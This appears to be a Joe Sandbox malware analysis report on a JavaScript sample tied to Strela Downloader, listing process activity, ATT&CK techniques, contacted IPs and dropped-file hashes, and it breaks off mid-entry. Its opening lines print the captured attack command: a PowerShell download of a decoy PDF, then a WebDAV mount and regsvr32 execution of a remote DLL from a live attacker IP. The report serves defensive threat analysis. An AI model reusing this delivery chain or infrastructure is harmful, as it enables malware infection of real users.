Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\25060233869241.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	32 Scripting	Valid Accounts	1 Command and Scripting Interpreter	32 Scripting	11 Process Injection	11 Masquerading	OS Credential Dumping	1 Network Share Discovery	Remote Services	Data from Local System	1 Data Obfuscation	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	1 Native API	1 DLL Side-Loading	1 DLL Side-Loading	131 Virtualization/Sandbox Evasion	LSASS Memory	11 Security Software Discovery	Remote Desktop Protocol	Data from Removable Media	11 Non-Standard Port	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	1 Exploitation for Client Execution	Logon Script (Windows)	Logon Script (Windows)	11 Process Injection	Security Account Manager	1 Process Discovery	SMB/Windows Admin Shares	Data from Network Shared Drive	1 Ingress Tool Transfer	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	2 PowerShell	Login Hook	Login Hook	1 Obfuscated Files or Information	NTDS	131 Virtualization/Sandbox Evasion	Distributed Component Object Model	Input Capture	2 Non-Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 DLL Side-Loading	LSA Secrets	1 Application Window Discovery	SSH	Keylogging	12 Application Layer Protocol	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	Steganography	Cached Domain Credentials	1 File and Directory Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	Compile After Delivery	DCSync	122 System Information Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
507722252877028578.js	5%	Virustotal		Browse
507722252877028578.js	0%	ReversingLabs

Source	Detection	Scanner	Label
http://193.143.1.205:8888/spaceAB	0%	Avira URL Cloud	safe
http://193.143.1.205:8888/KO	0%	Avira URL Cloud	safe
http://193.143.1.205:8888/R	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
bg.microsoft.map.fastly.net	199.232.210.172	true	false		high
x1.i.lencr.org	unknown	unknown	false		high

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
http://193.143.1.205/invoice.php	false		high

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://g.live.com/odclientsettings/Prod/C:	edb.log.9.dr, qmgr.db.9.dr	false		high
http://crl.ver)	svchost.exe, 00000009.00000002.3378256820.000001BCD600F000.00000004.00000020.00020000.00000000.sdmp	false		high
http://x1.i.lencr.org/	2D85F72862B55C4EADD9E66E06947F3D.8.dr	false		high
https://g.live.com/odclientsettings/ProdV2.C:	svchost.exe, 00000009.00000003.2185912669.000001BCD5D30000.00000004.00000800.00020000.00000000.sdmp, edb.log.9.dr, qmgr.db.9.dr	false		high
http://193.143.1.205:8888/spaceAB	net.exe, 00000007.00000002.2175068471.0000026CA15D7000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
http://193.143.1.205:8888/	net.exe, 00000007.00000002.2175068471.0000026CA1626000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.2175068471.0000026CA1609000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.2175068471.0000026CA15D7000.00000004.00000020.00020000.00000000.sdmp	false		high
http://193.143.1.205:8888/R	net.exe, 00000007.00000002.2175068471.0000026CA1609000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
http://193.143.1.205:8888/KO	net.exe, 00000007.00000002.2175068471.0000026CA15ED000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
193.143.1.205	unknown	unknown		57271	BITWEB-ASRU	true

Private

IP
127.0.0.1

General Information

Joe Sandbox version:	42.0.0 Malachite
Analysis ID:	1588282
Start date and time:	2025-01-10 23:30:02 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 5m 0s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	15
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled GSI enabled (Javascript) AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	507722252877028578.js
Detection:	MAL
Classification:	mal100.rans.troj.spyw.expl.evad.winJS@28/55@3/2
EGA Information:	Failed
HCA Information:	Successful, ratio: 100% Number of executed functions: 0 Number of non-executed functions: 0
Cookbook Comments:	Found application associated with file extension: .js

Warnings

Exclude process from analysis (whitelisted): dllhost.exe, WMIADAP.exe, SIHClient.exe
Excluded IPs from analysis (whitelisted): 2.23.240.205, 34.237.241.83, 18.213.11.84, 54.224.241.105, 50.16.47.176, 162.159.61.3, 172.64.41.3, 184.28.90.27, 199.232.210.172, 23.209.209.135, 95.101.148.135, 2.16.168.105, 2.16.168.107, 13.107.246.45, 172.202.163.200
Excluded domains from analysis (whitelisted): e4578.dscg.akamaiedge.net, chrome.cloudflare-dns.com, e8652.dscx.akamaiedge.net, slscr.update.microsoft.com, e4578.dscb.akamaiedge.net, fs-wildcard.microsoft.com.edgekey.net, fs-wildcard.microsoft.com.edgekey.net.globalredir.akadns.net, acroipm2.adobe.com, ocsp.digicert.com, ssl-delivery.adobe.com.edgekey.net, e16604.g.akamaiedge.net, a122.dscd.akamai.net, prod.fs.microsoft.com.akadns.net, wu-b-net.trafficmanager.net, crl.root-x1.letsencrypt.org.edgekey.net, fs.microsoft.com, otelrules.azureedge.net, ctldl.windowsupdate.com.delivery.microsoft.com, acroipm2.adobe.com.edgesuite.net, ctldl.windowsupdate.com, p13n.adobe.io, fe3cr.delivery.mp.microsoft.com, ssl.adobe.com.edgekey.net, armmf.adobe.com, geo2.adobe.com
Not all processes where analyzed, report is missing behavior information
Report size exceeded maximum capacity and may have missing behavior information.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Some HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.

Simulations

Behavior and APIs

Time	Type	Description
17:30:59	API Interceptor	21x Sleep call for process: powershell.exe modified
17:31:05	API Interceptor	1x Sleep call for process: net.exe modified
17:31:06	API Interceptor	2x Sleep call for process: svchost.exe modified
17:31:18	API Interceptor	2x Sleep call for process: AcroCEF.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
193.143.1.205	434027412290322097.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	32750305971799721630.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	31554291391030831415.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	122388091976711996.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	998728891275936098.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	25055222211104026628.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	31352150452488124098.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	10965191911914222758.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	241198432146011036.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	137112093815427392.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
bg.microsoft.map.fastly.net	434027412290322097.js	Get hash	malicious	Strela Downloader	Browse	199.232.214.172
	31554291391030831415.js	Get hash	malicious	Strela Downloader	Browse	199.232.214.172
	122388091976711996.js	Get hash	malicious	Strela Downloader	Browse	199.232.214.172
	Yef4EqsQha.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	199.232.210.172
	25055222211104026628.js	Get hash	malicious	Strela Downloader	Browse	199.232.214.172
	10965191911914222758.js	Get hash	malicious	Strela Downloader	Browse	199.232.210.172
	241198432146011036.js	Get hash	malicious	Strela Downloader	Browse	199.232.210.172
	137112093815427392.js	Get hash	malicious	Strela Downloader	Browse	199.232.210.172
	16529230753138817875.js	Get hash	malicious	Strela Downloader	Browse	199.232.210.172
	2305511452193571644.js	Get hash	malicious	Strela Downloader	Browse	199.232.214.172

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
BITWEB-ASRU	5545194012153110815.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	434027412290322097.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	32750305971799721630.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	31554291391030831415.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	122388091976711996.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	14174249761820017751.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	19597294421812213615.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	998728891275936098.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	25055222211104026628.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	31352150452488124098.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	1310720
Entropy (8bit):	0.830706642758156
Encrypted:	false
SSDEEP:	1536:gJhkM9gB0CnCm0CQ0CESJPB9JbJQfvcso0l1T4MfzzTi1FjIIXYvjbglQdmHDugC:gJjJGtpTq2yv1AuNZRY3diu8iBVqFY
MD5:	473B4406455E5A7EFD511BC1B80F7042
SHA1:	BFB9CA0923033A8ECF8A7D82DFC5442F5AC2922B
SHA-256:	23583D78659FBB9D8DF36E66F5247E1A08C7964CE46B6EFAB49FDC91690BA4D8
SHA-512:	853BDE3BC1D441F6E9806118AAA712FCBC83F2317AE1B5B76430A8C180C166E1A56A6C2E3474B9ADF0ABDF1D8432963459398FC319BD0051A41F518684756804
Malicious:	false
Preview:	...M........@..@.-...{5..;...{..........<...D./..;...{..................C:\ProgramData\Microsoft\Network\Downloader\.........................................................................................................................................................................................................................C:\ProgramData\Microsoft\Network\Downloader\..........................................................................................................................................................................................................................0u..................@...@......................4..........E.[.rXrX.#.........`h.................h.5.......3.....X\...;...{..................C.:.\.P.r.o.g.r.a.m.D.a.t.a.\.M.i.c.r.o.s.o.f.t.\.N.e.t.w.o.r.k.\.D.o.w.n.l.o.a.d.e.r.\.q.m.g.r...d.b....................................................................................................................................................................

C:\ProgramData\Microsoft\Network\Downloader\qmgr.db

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	Extensible storage engine DataBase, version 0x620, checksum 0x6c3ea1fe, page size 16384, DirtyShutdown, Windows version 10.0
Category:	dropped
Size (bytes):	1310720
Entropy (8bit):	0.6585633972204493
Encrypted:	false
SSDEEP:	1536:RSB2ESB2SSjlK/rv5rO1T1B0CZSJRYkr3g16P92UPkLk+kAwI/0uzn10M1Dn/di6:Raza9v5hYe92UOHDnAPZ4PZf9h/9h
MD5:	C3B393C43AB06B0EB063DC3A40815773
SHA1:	DE6C4281B57152BE5D2292F7ADF20A83D014D893
SHA-256:	104527AB18AF77A7C4D6D687795A0D1349C58F37F00717BBBDF59779520D6C3B
SHA-512:	1728534B233B9554EDD1B5BE79E7F3BE4D84A030859737E856FD7C1F7239ECD3FB3DC114F7C8FC078975083683534B67273C52EE32D8BD9421F15E6163CFE2F6
Malicious:	false
Preview:	l>..... ...............X\...;...{......................0.z..........{.......}w.h.\|.........................D./..;...{..........................................................................................................eJ......n....@...................................................................................................... ........-...{5..............................................................................................................................................................................................2...{...................................S.......}M.................4.u......}...........................#......h.\|.....................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	16384
Entropy (8bit):	0.08106616197293251
Encrypted:	false
SSDEEP:	3:HdYeVZzGuAJkhvekl1fQU+vollrekGltll/SPj:HdzVJrxlCULJe3l
MD5:	C566559150B4D50C94099B5A4196CF76
SHA1:	FFBD3369534937748709B2DAF94A924C6E564E3F
SHA-256:	FF3704D9C88E373FE7269C28263C5CAE68229D36674B3D21E965AA9C83C3DB5B
SHA-512:	24A907D73A193F679813D6100702D5F79817DA5A32A946989D4E4445A82B545F41D85B5C521ED04F840CF22A032EB346065D40B1435BB5AA6CD6A351D1348EDB
Malicious:	false
Preview:	.q_1.....................................;...{.......}.......{...............{.......{...XL......{..................4.u......}..........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	294
Entropy (8bit):	5.1982499889225915
Encrypted:	false
SSDEEP:	6:iO47FN+q2P92nKuAl9OmbnIFUtS9JZZmws9JNVkwO92nKuAl9OmbjLJ:7Fv4HAahFUt8/u5LHAaSJ
MD5:	5A1A3241E9CD5D60626AF06ABFA82D82
SHA1:	4CEB0DC23AC896EBE43CCD9E5F34FB7311600F04
SHA-256:	4C3DC5C578AA98A5046199CDBB4781E8B73973A1B16CF11937A729EBC0BEBA8E
SHA-512:	E8F79A0C34B4A3B9C6552D841D936F212CC497E711D47F9499B950CDACD2D9B094F3B24D37E31BFD5D4B96B9C8798736A6C0E2A58CDF31994F96A1CEDD6D190A
Malicious:	false
Preview:	2025/01/10-17:31:07.461 1158 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/MANIFEST-000001.2025/01/10-17:31:07.463 1158 Recovering log #3.2025/01/10-17:31:07.463 1158 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	294
Entropy (8bit):	5.1982499889225915
Encrypted:	false
SSDEEP:	6:iO47FN+q2P92nKuAl9OmbnIFUtS9JZZmws9JNVkwO92nKuAl9OmbjLJ:7Fv4HAahFUt8/u5LHAaSJ
MD5:	5A1A3241E9CD5D60626AF06ABFA82D82
SHA1:	4CEB0DC23AC896EBE43CCD9E5F34FB7311600F04
SHA-256:	4C3DC5C578AA98A5046199CDBB4781E8B73973A1B16CF11937A729EBC0BEBA8E
SHA-512:	E8F79A0C34B4A3B9C6552D841D936F212CC497E711D47F9499B950CDACD2D9B094F3B24D37E31BFD5D4B96B9C8798736A6C0E2A58CDF31994F96A1CEDD6D190A
Malicious:	false
Preview:	2025/01/10-17:31:07.461 1158 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/MANIFEST-000001.2025/01/10-17:31:07.463 1158 Recovering log #3.2025/01/10-17:31:07.463 1158 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	338
Entropy (8bit):	5.158227773030536
Encrypted:	false
SSDEEP:	6:iO4uFMW+q2P92nKuAl9Ombzo2jMGIFUtSnZmwssFNVkwO92nKuAl9Ombzo2jMmLJ:7lMXv4HAa8uFUtK/Jd5LHAa8RJ
MD5:	57E4BFC191BE90088ED691E598FEC50C
SHA1:	EC9D81BF252D09D78CFC0257B0F1A04F06729EF4
SHA-256:	28DDA2E765D7939AD85B3F2908B510C8EEFCB355D29A3EC95938501B5649D6CD
SHA-512:	88E92A2B0F29516B15C2AF496EA720BD55C520F891C13E4E6619F33176425AE47FED0BD5384E5BE1F477327BD6109BDCBD0DFCED5E9FF21ADA0F20DD29F9AB06
Malicious:	false
Preview:	2025/01/10-17:31:07.490 10c8 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/MANIFEST-000001.2025/01/10-17:31:07.491 10c8 Recovering log #3.2025/01/10-17:31:07.492 10c8 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	338
Entropy (8bit):	5.158227773030536
Encrypted:	false
SSDEEP:	6:iO4uFMW+q2P92nKuAl9Ombzo2jMGIFUtSnZmwssFNVkwO92nKuAl9Ombzo2jMmLJ:7lMXv4HAa8uFUtK/Jd5LHAa8RJ
MD5:	57E4BFC191BE90088ED691E598FEC50C
SHA1:	EC9D81BF252D09D78CFC0257B0F1A04F06729EF4
SHA-256:	28DDA2E765D7939AD85B3F2908B510C8EEFCB355D29A3EC95938501B5649D6CD
SHA-512:	88E92A2B0F29516B15C2AF496EA720BD55C520F891C13E4E6619F33176425AE47FED0BD5384E5BE1F477327BD6109BDCBD0DFCED5E9FF21ADA0F20DD29F9AB06
Malicious:	false
Preview:	2025/01/10-17:31:07.490 10c8 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/MANIFEST-000001.2025/01/10-17:31:07.491 10c8 Recovering log #3.2025/01/10-17:31:07.492 10c8 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\4b347191-a5a8-4400-9b66-c557934c008d.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	JSON data
Category:	modified
Size (bytes):	508
Entropy (8bit):	5.049302367041833
Encrypted:	false
SSDEEP:	12:YH/um3RA8sq+1tsBdOg2Hm2caq3QYiubxnP7E4T3OF+:Y2sRdszwdMHmJ3QYhbxP7nbI+
MD5:	50FC5AA962A4E23C2F844EE94A6893F6
SHA1:	375E570E56F5781F9ACBC4A0F776400E33B6F8F2
SHA-256:	CD1A3406418508C0FA7F5DF7F75647E6418F5541B17386375B1BF2E7509FFFBE
SHA-512:	4C780AF050D565BD63935B1E0A802D4C103B7BBC3BFCE467213E124C5A3C2F5875DBCF4A8D10E6D2FE53DB89EFC096ABC300EC31FC5DB15810102EE9E072A698
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://armmf.adobe.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13381108273446319","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":345238},"server":"https://chrome.cloudflare-dns.com","supports_spdy":true}],"supports_quic":{"address":"192.168.2.5","used_quic":true},"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"4G","CAYSABiAgICA+P////8B":"Offline"}}}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\Network Persistent State (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	508
Entropy (8bit):	5.049302367041833
Encrypted:	false
SSDEEP:	12:YH/um3RA8sq+1tsBdOg2Hm2caq3QYiubxnP7E4T3OF+:Y2sRdszwdMHmJ3QYhbxP7nbI+
MD5:	50FC5AA962A4E23C2F844EE94A6893F6
SHA1:	375E570E56F5781F9ACBC4A0F776400E33B6F8F2
SHA-256:	CD1A3406418508C0FA7F5DF7F75647E6418F5541B17386375B1BF2E7509FFFBE
SHA-512:	4C780AF050D565BD63935B1E0A802D4C103B7BBC3BFCE467213E124C5A3C2F5875DBCF4A8D10E6D2FE53DB89EFC096ABC300EC31FC5DB15810102EE9E072A698
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://armmf.adobe.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13381108273446319","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":345238},"server":"https://chrome.cloudflare-dns.com","supports_spdy":true}],"supports_quic":{"address":"192.168.2.5","used_quic":true},"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"4G","CAYSABiAgICA+P////8B":"Offline"}}}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\000003.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	4099
Entropy (8bit):	5.237156192536846
Encrypted:	false
SSDEEP:	96:QqBpCqGp3Al+NehBmkID2w6bNMhugoKTNY+No/KTNcygLPGLLU29/Slk:rBpJGp3AoqBmki25ZEVoKTNY+NoCTNL7
MD5:	A2254FEB474D177C2219B16319F4E026
SHA1:	FA25F68C9164BF4AB85C5C9A56B31E01EAF52FDB
SHA-256:	891F4ED5953189469DA786025EC345B45D45C388513CA69F388F2CBA8B06DC2E
SHA-512:	63E790236F1515C861211311131ABE82CDA589409C79C01D6754F72410DCB4AE863A8496D9E87F24939314901AADD87AAB9B28C4D3B947B8217C59C33B038B9C
Malicious:	false
Preview:	*...#................version.1..namespace-.1a.o................next-map-id.1.Pnamespace-047a745d_5c98_4926_b446_942fb948d072-https://rna-resource.acrobat.com/.0.K..r................next-map-id.2.Snamespace-bdf2fbfe_e08b_407d_8a81_9a6094e373a0-https://rna-v2-resource.acrobat.com/.1.m.Fr................next-map-id.3.Snamespace-24b9c7f4_3e31_4d11_a607_ac91d6485c9e-https://rna-v2-resource.acrobat.com/.2.8.o................next-map-id.4.Pnamespace-bc60f291_faa7_4492_8b22_e186b4ce62c1-https://rna-resource.acrobat.com/.3.A-N^...............Pnamespace-047a745d_5c98_4926_b446_942fb948d072-https://rna-resource.acrobat.com/-j..^...............Pnamespace-bc60f291_faa7_4492_8b22_e186b4ce62c1-https://rna-resource.acrobat.com/[.\|.a...............Snamespace-bdf2fbfe_e08b_407d_8a81_9a6094e373a0-https://rna-v2-resource.acrobat.com/....a...............Snamespace-24b9c7f4_3e31_4d11_a607_ac91d6485c9e-https://rna-v2-resource.acrobat.com/.W.@o................next-map-id.5.Pnamespace-8fb46ac3_c992_47ca_bb04_

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	326
Entropy (8bit):	5.1384652668138795
Encrypted:	false
SSDEEP:	6:iO4hW+q2P92nKuAl9OmbzNMxIFUtS9XZmws7WVkwO92nKuAl9OmbzNMFLJ:7mXv4HAa8jFUtYX/YG5LHAa84J
MD5:	3B4B5D06094A9C7DC9BEFDF338706927
SHA1:	D4468B9CF425BBB2E24013CE2AAE5A672DCFEFE0
SHA-256:	F978E978E4A830FF59EB4FEEB4037106FAC84D1EE2DE718C739CA3780A541C28
SHA-512:	CD0C5CB6A064392385062729019ACD16CF926DFD5D6D45DFFF8C3C00F1855119119AFAFBBB04E8E4D275A646BA41697BA5E9094859EF9625A4B6BDD1D8506DAD
Malicious:	false
Preview:	2025/01/10-17:31:07.818 10c8 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/MANIFEST-000001.2025/01/10-17:31:07.831 10c8 Recovering log #3.2025/01/10-17:31:07.834 10c8 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	326
Entropy (8bit):	5.1384652668138795
Encrypted:	false
SSDEEP:	6:iO4hW+q2P92nKuAl9OmbzNMxIFUtS9XZmws7WVkwO92nKuAl9OmbzNMFLJ:7mXv4HAa8jFUtYX/YG5LHAa84J
MD5:	3B4B5D06094A9C7DC9BEFDF338706927
SHA1:	D4468B9CF425BBB2E24013CE2AAE5A672DCFEFE0
SHA-256:	F978E978E4A830FF59EB4FEEB4037106FAC84D1EE2DE718C739CA3780A541C28
SHA-512:	CD0C5CB6A064392385062729019ACD16CF926DFD5D6D45DFFF8C3C00F1855119119AFAFBBB04E8E4D275A646BA41697BA5E9094859EF9625A4B6BDD1D8506DAD
Malicious:	false
Preview:	2025/01/10-17:31:07.818 10c8 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/MANIFEST-000001.2025/01/10-17:31:07.831 10c8 Recovering log #3.2025/01/10-17:31:07.834 10c8 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/000003.log .

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\2D85F72862B55C4EADD9E66E06947F3D

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	Certificate, Version=3
Category:	dropped
Size (bytes):	1391
Entropy (8bit):	7.705940075877404
Encrypted:	false
SSDEEP:	24:ooVdTH2NMU+I3E0Ulcrgdaf3sWrATrnkC4EmCUkmGMkfQo1fSZotWzD1:ooVguI3Kcx8WIzNeCUkJMmSuMX1
MD5:	0CD2F9E0DA1773E9ED864DA5E370E74E
SHA1:	CABD2A79A1076A31F21D253635CB039D4329A5E8
SHA-256:	96BCEC06264976F37460779ACF28C5A7CFE8A3C0AAE11A8FFCEE05C0BDDF08C6
SHA-512:	3B40F27E828323F5B91F8909883A78A21C86551761F27B38029FAAEC14AF5B7AA96FB9F9CC93EE201B5EB1D0FEF17B290747E8B839D2E49A8F36C5EBF3C7C910
Malicious:	false
Preview:	0..k0..S............@.YDc.c...0....H........0O1.0...U....US1)0'..U... Internet Security Research Group1.0...U....ISRG Root X10...150604110438Z..350604110438Z0O1.0...U....US1)0'..U... Internet Security Research Group1.0...U....ISRG Root X10.."0....H.............0..........$s..7.+W(.....8..n<.W.x.u...jn..O(..h.lD...c...k....1.!~.3<.H..y.....!.K...qiJffl.~<p..)"......K...~....G.\|.H#S.8.O.o...IW..t../.8.{.p!.u.0<.....c...O..K~.....w...{J.L.%.p..)..S$........J.?..aQ.....cq...o[...\4ylv.;.by.../&.....................6....7..6u...r......I......A..v........5/(.l....dwnG7..Y^h..r...A)>Y>.&.$...Z.L@.F....:Qn.;.}r...xY.>Qx....../..>{J.Ks......P.\|C.t..t.....0.[q6....00\H..;..}`...).........A.......\|.;F.H..v.v..j.=...8.d..+..(.....B.".'].y...p..N..:..'Qn..d.3CO......B0@0...U...........0...U.......0....0...U......y.Y.{....s.....X..n0...*.H.............U.X....P.....i ')..au\.n...i/..VK..s.Y.!.~.Lq...`.9....!V..P.Y...Y.............b.E.f..\|o..;.....'...}~.."......

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\77EC63BDA74BD0D0E0426DC8F8008506

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
